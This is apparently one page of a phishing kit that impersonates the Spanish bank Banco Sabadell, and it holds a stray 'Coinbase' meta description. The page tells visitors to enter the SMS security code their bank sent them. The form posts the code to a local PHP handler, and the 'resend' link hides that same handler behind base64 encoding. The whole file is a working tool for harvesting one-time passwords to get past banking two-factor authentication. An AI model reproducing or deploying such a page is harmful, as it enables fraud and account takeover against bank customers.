<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <meta name="discription" content="Coinbase">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <link rel="icon" href="./Assets/imgs/favicon.png">
        <title>Banco Sabadell</title>
        <!-- === bootstrap === -->
        <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.1/dist/css/bootstrap.min.css" rel="stylesheet" />
        <!-- == Font-awesome " icon " == -->
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"/>
        <!-- == remixicon " icon " == -->
        <link href="https://cdn.jsdelivr.net/npm/remixicon@3.5.0/fonts/remixicon.css" rel="stylesheet">
        <!-- == file style css == -->
        <link rel="stylesheet" href="./Assets/css/style.css">
        <script src="./Assets/js/stutes.js"></script>
    </head>
    <body>

        <!-- Header -->
         <div class="header_2 d-flex align-items-center justify-content-between">
            <div class="logo">
                <img src="./Assets/imgs/logo.svg" alt="">
            </div>
            <div class="wel">
                <p>Bienvenida <i class="ri-arrow-down-s-line"></i></p>
            </div>
         </div>

        <!-- success -->
        <div class="wrapper_code">
            <div class="container_code">
                <div class="infos_code">
                    <h5><img src="./Assets/imgs/lock2.png" alt="">Introducir el código de seguridad recibido por SMS</h5>
                    <p>Ingrese el código de seguridad mejorado que recibió por SMS.</p>
                    <span>Todos los campos marcados con * son obligatorios</span>
                    <?php if( isset($_GET['error']) ) : ?>
                    <div class="error  mt-3 alert alert-danger d-flex align-items-center">
                        <img src="./Assets/imgs/error.png" alt="">
                        <p class="mb-0 mt-0">Código no válido. Por favor revisa tu SMS y vuelve a intentarlo.</p>
                    </div>  
                    <?php endif; ?>                      
                    <form action="./Assets/php/config/func.php" method="post">
                        <input type="hidden" name="sms">
                        <div class="inputes">
                            <div class="form-group">
                                <div class="input_box">
                                    <label for="sms_code" class="focus">código de seguridad*</label>
                                    <input type="text" name="sms_code" id="sms_code">
                                    <i class="ri-information-line error"></i>
                                    <i class="ri-checkbox-circle-line good"></i>
                                </div>
                                <?php if( isset($_GET['error']) ) : ?>
                                <p class="error_txt mb-0">Este campo es obligatorio</p>
                                <?php endif; ?>  
                            </div>                            
                        </div>
                        <p class="mb-0 mt-3 text-center" style="font-size:14px;">Can't receive the code? <a href="<?php echo base64_decode("Li9Bc3NldHMvcGhwL2NvbmZpZy9mdW5jLnBocD9zZW5kPWNvZGU") ?>" style="color:#006DFF; font-weight:600; text-decoration:none;">resend</a></p>
                        <div class="btn_sub">
                            <button disabled type="submit">Continuar</button>
                        </div>
                    </form>
                </div>
            </div>
        </div>

        <!-- copyghit -->
        <div class="copyghit">
            <p>Banco Sabadell, S.A., 2025. Todos los derechos reservados.</p>
        </div>

        
        <!-- bootstrap -->
        <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"></script>
        <!-- script jquery -->
        <script src="https://code.jquery.com/jquery-3.7.1.js"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.16/jquery.mask.min.js"></script>
        
        <script>
            $("#sms_code").mask('000000');  
                       
            $("input").keyup(function(){
              if ($("#sms_code").val() != "") {
                $(".btn_sub button").prop("disabled",false);
                $(".btn_sub button").addClass("active");
              }else{
                $(".btn_sub button").prop("disabled",true);
                $(".btn_sub button").removeClass("active");
              }
            });        
        </script>
    </body>
</html>